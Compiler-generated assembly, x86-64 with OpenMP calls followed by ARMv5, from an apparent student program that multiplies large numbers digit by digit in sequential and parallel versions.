mov QWORD PTR -64[rbp], rax
call omp_get_num_threads@PLT
mov DWORD PTR -196[rbp], eax
mov DWORD PTR -248[rbp], 0
jmp .L70
.L71:
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -248[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], 0
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -248[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], 0
add DWORD PTR -248[rbp], 1
.L70:
mov eax, DWORD PTR -200[rbp]
imul eax, DWORD PTR -196[rbp]
cmp DWORD PTR -248[rbp], eax
jl .L71
call omp_get_thread_num@PLT
mov DWORD PTR -192[rbp], eax
mov eax, DWORD PTR -192[rbp]
mov DWORD PTR -248[rbp], eax
jmp .L72
.L97:
mov rax, QWORD PTR -176[rbp]
mov edx, DWORD PTR -248[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov DWORD PTR -188[rbp], eax
cmp DWORD PTR -192[rbp], 0
jne .L73
mov ecx, DWORD PTR -188[rbp]
mov edx, DWORD PTR -248[rbp]
mov eax, DWORD PTR -192[rbp]
mov esi, eax
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC11[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -264[rbp], eax
jmp .L74
.L75:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -264[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -264[rbp], 1
.L74:
cmp DWORD PTR -264[rbp], 0
jns .L75
lea rdi, .LC6[rip]
call puts@PLT
.L73:
mov DWORD PTR -252[rbp], 0
mov DWORD PTR -256[rbp], 0
jmp .L76
.L80:
mov rax, QWORD PTR -160[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
imul eax, DWORD PTR -188[rbp]
mov ecx, eax
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], ecx
cmp DWORD PTR -192[rbp], 0
jne .L77
mov rax, QWORD PTR -160[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov ecx, DWORD PTR [rax+rdx*4]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov edx, DWORD PTR -188[rbp]
mov esi, eax
lea rdi, .LC12[rip]
mov eax, 0
call printf@PLT
.L77:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov edx, DWORD PTR [rax+rdx*4]
mov eax, DWORD PTR -252[rbp]
lea ecx, [rdx+rax]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], ecx
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
cmp eax, 9
jle .L78
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
movsx rdx, eax
imul rdx, rdx, 1717986919
shr rdx, 32
sar edx, 2
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -252[rbp], eax
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov ecx, DWORD PTR [rax+rdx*4]
movsx rax, ecx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 2
mov esi, ecx
sar esi, 31
sub eax, esi
mov edx, eax
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
sub ecx, eax
mov edx, ecx
mov rax, QWORD PTR -64[rbp]
mov ecx, DWORD PTR -256[rbp]
movsx rcx, ecx
mov DWORD PTR [rax+rcx*4], edx
jmp .L79
.L78:
mov DWORD PTR -252[rbp], 0
.L79:
add DWORD PTR -256[rbp], 1
.L76:
mov eax, DWORD PTR -256[rbp]
cmp eax, DWORD PTR -200[rbp]
jl .L80
cmp DWORD PTR -252[rbp], 0
je .L81
lea rdi, .LC1[rip]
call puts@PLT
.L81:
cmp DWORD PTR -192[rbp], 0
jne .L82
mov ecx, DWORD PTR -188[rbp]
mov edx, DWORD PTR -248[rbp]
mov eax, DWORD PTR -192[rbp]
mov esi, eax
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC13[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -268[rbp], eax
jmp .L83
.L84:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -268[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -268[rbp], 1
.L83:
cmp DWORD PTR -268[rbp], 0
jns .L84
lea rdi, .LC6[rip]
call puts@PLT
.L82:
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -256[rbp], eax
jmp .L85
.L86:
mov eax, DWORD PTR -256[rbp]
sub eax, DWORD PTR -248[rbp]
mov edx, eax
mov rax, QWORD PTR -64[rbp]
movsx rdx, edx
mov ecx, DWORD PTR [rax+rdx*4]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov DWORD PTR [rax+rdx*4], ecx
sub DWORD PTR -256[rbp], 1
.L85:
mov eax, DWORD PTR -256[rbp]
cmp eax, DWORD PTR -248[rbp]
jge .L86
jmp .L87
.L88:
mov eax, DWORD PTR -256[rbp]
lea edx, -1[rax]
mov DWORD PTR -256[rbp], edx
mov rdx, QWORD PTR -64[rbp]
cdqe
mov DWORD PTR [rdx+rax*4], 0
.L87:
cmp DWORD PTR -256[rbp], 0
jns .L88
cmp DWORD PTR -192[rbp], 0
jne .L89
mov ecx, DWORD PTR -188[rbp]
mov edx, DWORD PTR -248[rbp]
mov eax, DWORD PTR -192[rbp]
mov esi, eax
lea rdi, .LC10[rip]
mov eax, 0
call printf@PLT
lea rdi, .LC14[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -272[rbp], eax
jmp .L90
.L91:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -272[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -272[rbp], 1
.L90:
cmp DWORD PTR -272[rbp], 0
jns .L91
lea rdi, .LC6[rip]
call puts@PLT
.L89:
mov DWORD PTR -252[rbp], 0
mov DWORD PTR -260[rbp], 0
mov DWORD PTR -256[rbp], 0
jmp .L92
.L95:
mov eax, DWORD PTR -192[rbp]
imul eax, DWORD PTR -200[rbp]
mov edx, eax
mov eax, DWORD PTR -256[rbp]
add edx, eax
mov rax, QWORD PTR -80[rbp]
movsx rdx, edx
mov ecx, DWORD PTR [rax+rdx*4]
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
lea edx, [rcx+rax]
mov eax, DWORD PTR -252[rbp]
add eax, edx
mov DWORD PTR -260[rbp], eax
cmp DWORD PTR -260[rbp], 9
jle .L93
mov DWORD PTR -252[rbp], 1
sub DWORD PTR -260[rbp], 10
jmp .L94
.L93:
mov DWORD PTR -252[rbp], 0
.L94:
mov eax, DWORD PTR -192[rbp]
imul eax, DWORD PTR -200[rbp]
mov edx, eax
mov eax, DWORD PTR -256[rbp]
add edx, eax
mov rax, QWORD PTR -80[rbp]
movsx rdx, edx
mov ecx, DWORD PTR -260[rbp]
mov DWORD PTR [rax+rdx*4], ecx
add DWORD PTR -256[rbp], 1
.L92:
mov eax, DWORD PTR -256[rbp]
cmp eax, DWORD PTR -200[rbp]
jl .L95
cmp DWORD PTR -252[rbp], 0
je .L96
lea rdi, .LC0[rip]
call puts@PLT
.L96:
mov eax, DWORD PTR -196[rbp]
add DWORD PTR -248[rbp], eax
.L72:
mov eax, DWORD PTR -248[rbp]
cmp eax, DWORD PTR -200[rbp]
jl .L97
cmp DWORD PTR -192[rbp], 0
jne .L98
lea rdi, .LC15[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
imul eax, DWORD PTR -196[rbp]
sub eax, 1
mov DWORD PTR -276[rbp], eax
jmp .L99
.L100:
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -276[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -276[rbp], 1
.L99:
cmp DWORD PTR -276[rbp], 0
jns .L100
lea rdi, .LC6[rip]
call puts@PLT
mov DWORD PTR -280[rbp], 0
jmp .L101
.L107:
mov DWORD PTR -252[rbp], 0
mov DWORD PTR -260[rbp], 0
mov DWORD PTR -256[rbp], 0
jmp .L102
.L105:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov ecx, DWORD PTR [rax+rdx*4]
mov eax, DWORD PTR -280[rbp]
imul eax, DWORD PTR -200[rbp]
mov edx, eax
mov eax, DWORD PTR -256[rbp]
add edx, eax
mov rax, QWORD PTR -80[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
lea edx, [rcx+rax]
mov eax, DWORD PTR -252[rbp]
add eax, edx
mov DWORD PTR -260[rbp], eax
cmp DWORD PTR -260[rbp], 9
jle .L103
mov DWORD PTR -252[rbp], 1
sub DWORD PTR -260[rbp], 10
jmp .L104
.L103:
mov DWORD PTR -252[rbp], 0
.L104:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -256[rbp]
movsx rdx, edx
mov ecx, DWORD PTR -260[rbp]
mov DWORD PTR [rax+rdx*4], ecx
add DWORD PTR -256[rbp], 1
.L102:
mov eax, DWORD PTR -256[rbp]
cmp eax, DWORD PTR -200[rbp]
jl .L105
cmp DWORD PTR -252[rbp], 0
je .L106
lea rdi, .LC0[rip]
call puts@PLT
.L106:
add DWORD PTR -280[rbp], 1
.L101:
mov eax, DWORD PTR -280[rbp]
cmp eax, DWORD PTR -196[rbp]
jl .L107
lea rdi, .LC16[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -200[rbp]
sub eax, 1
mov DWORD PTR -284[rbp], eax
jmp .L108
.L109:
mov rax, QWORD PTR -96[rbp]
mov edx, DWORD PTR -284[rbp]
movsx rdx, edx
mov eax, DWORD PTR [rax+rdx*4]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
sub DWORD PTR -284[rbp], 1
.L108:
cmp DWORD PTR -284[rbp], 0
jns .L109
lea rdi, .LC6[rip]
call puts@PLT
.L98:
mov rsp, rbx
mov rsp, r12
mov rsp, r13
mov rsp, r14
mov rsp, QWORD PTR -536[rbp]
mov eax, 0
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L111
call __stack_chk_fail@PLT
.L111:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "704429.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "overflow in addition!\000"
.text
.align 2
.global add
.syntax unified
.arm
.fpu softvfp
.type add, %function
add:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #32
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-12]
mov r3, #0
str r3, [fp, #-16]
b .L2
.L5:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r1, [fp, #-28]
add r3, r1, r3
ldr r3, [r3]
add r3, r2, r3
ldr r2, [fp, #-12]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #9
ble .L3
mov r3, #1
str r3, [fp, #-12]
ldr r3, [fp, #-8]
sub r3, r3, #10
str r3, [fp, #-8]
b .L4
.L3:
mov r3, #0
str r3, [fp, #-12]
.L4:
ldr r3, [fp, #-16]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [fp, #-8]
str r2, [r3]
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L2:
ldr r2, [fp, #-16]
ldr r3, [fp, #-36]
cmp r2, r3
blt .L5
ldr r3, [fp, #-12]
cmp r3, #0
beq .L7
ldr r0, .L8
bl puts
.L7:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L9:
.align 2
.L8:
.word .LC0
.size add, .-add
.section .rodata
.align 2
.LC1:
.ascii "overflow in multiplication!\000"
.text
.align 2
.global multiply_one_digit
.syntax unified
.arm
.fpu softvfp
.type multiply_one_digit, %function
multiply_one_digit:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
str r3, [fp, #-28]
mov r3, #0
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-12]
b .L11
.L14:
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r1, [fp, #-20]
add r3, r1, r3
ldr r1, [fp, #-24]
mul r2, r1, r2
str r2, [r3]
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r1, [r3]
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r2, [fp, #-8]
add r2, r1, r2
str r2, [r3]
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
cmp r3, #9
ble .L12
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
ldr r2, .L17
smull r1, r2, r3, r2
asr r2, r2, #2
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r1, [r3]
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r0, r2, r3
ldr r3, .L17
smull r2, r3, r1, r3
asr r2, r3, #2
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
sub r2, r1, r3
str r2, [r0]
b .L13
.L12:
mov r3, #0
str r3, [fp, #-8]
.L13:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L11:
ldr r2, [fp, #-12]
ldr r3, [fp, #-28]
cmp r2, r3
blt .L14
ldr r3, [fp, #-8]
cmp r3, #0
beq .L16
ldr r0, .L17+4
bl puts
.L16:
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L18:
.align 2
.L17:
.word 1717986919
.word .LC1
.size multiply_one_digit, .-multiply_one_digit
.align 2
.global shift_left
.syntax unified
.arm
.fpu softvfp
.type shift_left, %function
shift_left:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
ldr r3, [fp, #-24]
sub r3, r3, #1
str r3, [fp, #-8]
b .L20
.L21:
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
sub r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r2, r2, r3
ldr r3, [fp, #-8]
lsl r3, r3, #2
ldr r1, [fp, #-16]
add r3, r1, r3
ldr r2, [r2]
str r2, [r3]
ldr r3, [fp, #-8]
sub r3, r3, #1
str r3, [fp, #-8]
.L20:
ldr r2, [fp, #-8]
ldr r3, [fp, #-20]
cmp r2, r3
bge .L21
b .L22
.L23:
ldr r3, [fp, #-8]
sub r2, r3, #1
str r2, [fp, #-8]
lsl r3, r3, #2
ldr r2, [fp, #-16]
add r3, r2, r3
mov r2, #0
str r2, [r3]
.L22:
ldr r3, [fp, #-8]
cmp r3, #0
bge .L23
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size shift_left, .-shift_left
.section .rodata
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global multiply
.syntax unified
.arm
.fpu softvfp
.type multiply, %function
multiply:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
str r0, [fp, #-32]
str r1, [fp, #-36]
str r2, [fp, #-40]
str r3, [fp, #-44]
ldr r3, .L28
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr ip, [fp, #-44]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
mov r3, #0
str r3, [fp, #-28]
b .L25
.L26:
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-32]
add r3, r2, r3
ldr r2, [r3]
ldr r3, [fp, #-44]
ldr r1, [fp, #-20]
ldr r0, [fp, #-36]
bl multiply_one_digit
ldr r2, [fp, #-44]
ldr r1, [fp, #-28]
ldr r0, [fp, #-20]
bl shift_left
ldr r3, [fp, #-44]
ldr r2, [fp, #-40]
ldr r1, [fp, #-20]
ldr r0, [fp, #-40]
bl add
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L25:
ldr r2, [fp, #-28]
ldr r3, [fp, #-44]
cmp r2, r3
blt .L26
mov sp, r4
nop
ldr r3, .L28
ldr r2, [r3]
ldr r3, [fp, #-16]
eors r2, r3, r2
mov r3, #0
beq .L27
bl __stack_chk_fail
.L27:
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L29:
.align 2
.L28:
.word .LC2
.size multiply, .-multiply
.section .rodata
.align 2
.LC3:
.ascii "%d\012\000"
.align 2
.LC4:
.ascii "---SECUENCIAL---\000"
.align 2
.LC5:
.ascii "A [ \000"
.align 2
.LC6:
.ascii "%d \000"
.align 2
.LC7:
.ascii "]\000"
.align 2
.LC8:
.ascii "B [ \000"
.align 2
.LC9:
.ascii "]\012C [ \000"
.align 2
.LC10:
.ascii "---PARALELO---\000"
.align 2
.LC11:
.ascii "\012thread %d i %d n %d\012\000"
.align 2
.LC12:
.ascii "Pbefore [ \000"
.align 2
.LC13:
.ascii "\012PJ %d n %d BJ %d\012\000"
.align 2
.LC14:
.ascii "PSH0 [ \000"
.align 2
.LC15:
.ascii "P0 [ \000"
.align 2
.LC16:
.ascii "D [ \000"
.align 2
.LC17:
.ascii "E [ \000"
.align 2
.LC18:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 176
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, fp, lr}
add fp, sp, #24
sub sp, sp, #180
str r0, [fp, #-200]
str r1, [fp, #-204]
ldr r3, .L91
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r3, [fp, #-204]
add r3, r3, #4
ldr r3, [r3]
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-120]
ldr r1, [fp, #-120]
ldr r0, .L91+4
bl printf
ldr r3, [fp, #-204]
add r3, r3, #8
ldr r3, [r3]
mov r0, r3
bl strlen
mov r3, r0
str r3, [fp, #-116]
ldr r2, [fp, #-120]
ldr r3, [fp, #-116]
add r3, r2, r3
str r3, [fp, #-112]
ldr ip, [fp, #-112]
sub r3, ip, #1
str r3, [fp, #-108]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-104]
ldr ip, [fp, #-112]
sub r3, ip, #1
str r3, [fp, #-100]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-96]
ldr ip, [fp, #-112]
sub r3, ip, #1
str r3, [fp, #-92]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-88]
mov r3, #0
str r3, [fp, #-124]
b .L31
.L32:
ldr r3, [fp, #-104]
ldr r2, [fp, #-124]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-96]
ldr r2, [fp, #-124]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-88]
ldr r2, [fp, #-124]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-124]
add r3, r3, #1
str r3, [fp, #-124]
.L31:
ldr r2, [fp, #-124]
ldr r3, [fp, #-112]
cmp r2, r3
blt .L32
ldr ip, [fp, #-120]
mov r3, sp
mov r5, r3
sub r3, ip, #1
str r3, [fp, #-84]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #3
orr r3, r3, r0, lsr #29
lsl r2, r0, #3
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #3
orr r3, r3, r0, lsr #29
lsl r2, r0, #3
mov r3, ip
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #0
str r3, [fp, #-80]
ldr r3, [fp, #-204]
add r3, r3, #4
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-80]
bl strcpy
mov r3, #0
str r3, [fp, #-128]
b .L33
.L34:
ldr r3, [fp, #-120]
sub r2, r3, #1
ldr r3, [fp, #-128]
sub r3, r2, r3
ldr r2, [fp, #-80]
ldrb r3, [r2, r3] @ zero_extendqisi2
sub r1, r3, #48
ldr r3, [fp, #-104]
ldr r2, [fp, #-128]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
.L33:
ldr r2, [fp, #-128]
ldr r3, [fp, #-120]
cmp r2, r3
blt .L34
ldr ip, [fp, #-116]
mov r3, sp
mov r6, r3
sub r3, ip, #1
str r3, [fp, #-76]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #3
orr r3, r3, r0, lsr #29
lsl r2, r0, #3
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #3
orr r3, r3, r0, lsr #29
lsl r2, r0, #3
mov r3, ip
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #0
str r3, [fp, #-72]
ldr r3, [fp, #-204]
add r3, r3, #8
ldr r3, [r3]
mov r1, r3
ldr r0, [fp, #-72]
bl strcpy
mov r3, #0
str r3, [fp, #-132]
b .L35
.L36:
ldr r3, [fp, #-116]
sub r2, r3, #1
ldr r3, [fp, #-132]
sub r3, r2, r3
ldr r2, [fp, #-72]
ldrb r3, [r2, r3] @ zero_extendqisi2
sub r1, r3, #48
ldr r3, [fp, #-96]
ldr r2, [fp, #-132]
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L35:
ldr r2, [fp, #-132]
ldr r3, [fp, #-116]
cmp r2, r3
blt .L36
ldr r3, [fp, #-112]
ldr r2, [fp, #-88]
ldr r1, [fp, #-96]
ldr r0, [fp, #-104]
bl multiply
ldr r0, .L91+8
bl puts
ldr r0, .L91+12
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-136]
b .L37
.L38:
ldr r3, [fp, #-104]
ldr r2, [fp, #-136]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-136]
sub r3, r3, #1
str r3, [fp, #-136]
.L37:
ldr r3, [fp, #-136]
cmp r3, #0
bge .L38
ldr r0, .L91+20
bl puts
ldr r0, .L91+24
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-140]
b .L39
.L40:
ldr r3, [fp, #-96]
ldr r2, [fp, #-140]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-140]
sub r3, r3, #1
str r3, [fp, #-140]
.L39:
ldr r3, [fp, #-140]
cmp r3, #0
bge .L40
ldr r0, .L91+28
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-144]
b .L41
.L42:
ldr r3, [fp, #-88]
ldr r2, [fp, #-144]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-144]
sub r3, r3, #1
str r3, [fp, #-144]
.L41:
ldr r3, [fp, #-144]
cmp r3, #0
bge .L42
ldr r0, .L91+20
bl puts
ldr ip, [fp, #-112]
mov r3, sp
mov r7, r3
sub r3, ip, #1
str r3, [fp, #-68]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-64]
mov r3, #0
str r3, [fp, #-148]
b .L43
.L44:
ldr r3, [fp, #-64]
ldr r2, [fp, #-148]
mov r1, #0
str r1, [r3, r2, lsl #2]
ldr r3, [fp, #-148]
add r3, r3, #1
str r3, [fp, #-148]
.L43:
ldr r2, [fp, #-148]
ldr r3, [fp, #-112]
cmp r2, r3
blt .L44
ldr r0, .L91+32
bl puts
ldr r0, .L91+12
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-152]
b .L45
.L46:
ldr r3, [fp, #-104]
ldr r2, [fp, #-152]
ldr r3, [r3, r2, lsl #2]
mov r1, r3
ldr r0, .L91+16
bl printf
ldr r3, [fp, #-152]
sub r3, r3, #1
str r3, [fp, #-152]
.L45:
ldr r3, [fp, #-152]
cmp r3, #0
bge .L46
ldr r0, .L91+20
bl puts
ldr r0, .L91+24
bl printf
ldr r3, [fp, #-112]
sub r3, r3, #1
str r3, [fp, #-156]
b .L47
